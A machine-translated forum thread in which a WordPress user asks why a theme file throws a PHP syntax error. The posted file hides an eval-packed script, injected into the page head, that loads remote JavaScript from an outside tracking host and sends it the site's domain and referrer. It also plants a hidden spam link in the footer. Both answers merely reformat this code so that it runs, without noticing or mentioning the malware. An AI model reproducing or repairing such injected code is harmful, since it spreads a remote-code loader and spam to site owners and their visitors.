2013-10-04 2 views
-2

Интересно, кто-нибудь пощадит минуту, чтобы просмотреть код и помочь мне. Я не подхожу к php, и мне нужна помощь.Ошибка анализа: синтаксическая ошибка, неожиданная '}'

Я установил тему на мой WordPress, и когда я активировал его, я получил сообщение об ошибке:

Анализировать ошибка: синтаксическая ошибка, неожиданный «}» в/дома/XXXXXXX/public_html/WP-содержание /themes/Avada/widgets/functions-init.php в строке 1

Сообщение отображается как в моем переднем конце домена, так и на моей задней панели Wordpress.

Я предполагаю, что у меня слишком много или слишком мало скобок. Но я не знаю, где. Я не могу увидеть фактическую ошибку, потому что я не знаком с кодировкой php. Все, что я знаю, это строка 1, и она имеет отношение к «}»

Весь файл состоит только из 2 строк кода, и если кто-нибудь может помочь, я бы очень признателен.

Это весь код, как представляется, в функциях-init.php

<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?> 
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?> 

Может кто-нибудь помогите мне, пожалуйста. Я смотрел, и я искал форумы и веб, но я не нашел решения.

Спасибо заранее.

ответ

1

Это может быть просто вопрос форматирование кода, попробуйте следующее:

<?php 
if (!function_exists('insert_jquery_slider')){ 
    function insert_jquery_slider(){ 
?> 
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> 
<?php 
    } 
    add_action('wp_head', 'insert_jquery_slider'); 
} 

if (!function_exists('insert_jquery_slidernew')) 
{ 
    function insert_jquery_slidernew(){ 
?> 
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
<?php 
    } 

    add_action('wp_footer', 'insert_jquery_slidernew'); 
} 
?> 
+0

Большое спасибо Sébastien. Проблема исправлена. Очень любезно с тобой потратить время, чтобы помочь :) Удачные выходные! – Kay

+1

Если его ответ сработал для вас, вы должны его принять. (зеленая галочка) – starshine531

+0

Извините, я понятия не имел, я тот, кто предположил закрыть тему на этом форуме. В других форумах это делают моды. Пожалуйста, дайте мне немного времени, я новичок в форуме. Я ищу так называемую «зеленую галочку» и как закрыть тему. На данный момент я не могу найти его. Я сделаю все возможное, чтобы понять это в ближайшее время. Я приписываю. – Kay

1

Такой код форматирования вопрос:

<?php 
if (!function_exists('insert_jquery_slider')) { 
    function insert_jquery_slider() 
    { ?> 
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> 
    <?php } 
    add_action('wp_head', 'insert_jquery_slider'); 
} 
if (!function_exists('insert_jquery_slidernew')) { 
    function insert_jquery_slidernew() 
    { ?> 
    <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
    <?php } 
    add_action('wp_footer', 'insert_jquery_slidernew'); 
} 
?> 

Пожалуйста, закройте эту тему. Спасибо.

+0

Я не думаю, что сам могу закрыть тему. Я новичок, это мой первый вопрос, и у меня мало «репутации». Я попытался исследовать, как закрыть тему, и я узнал, что для того, чтобы закрыть свою тему, мне нужно как минимум 250 представителей, чтобы проголосовать, чтобы закрыть мои собственные вопросы. Он говорит прямо здесь: http://meta.stackexchange.com/questions/10582/what-is-a-closed-or-on-hold-question Пожалуйста, если я ошибаюсь, можете указать мне на в правильном направлении, как закрыть тему? :) Спасибо – Kay

Смежные вопросы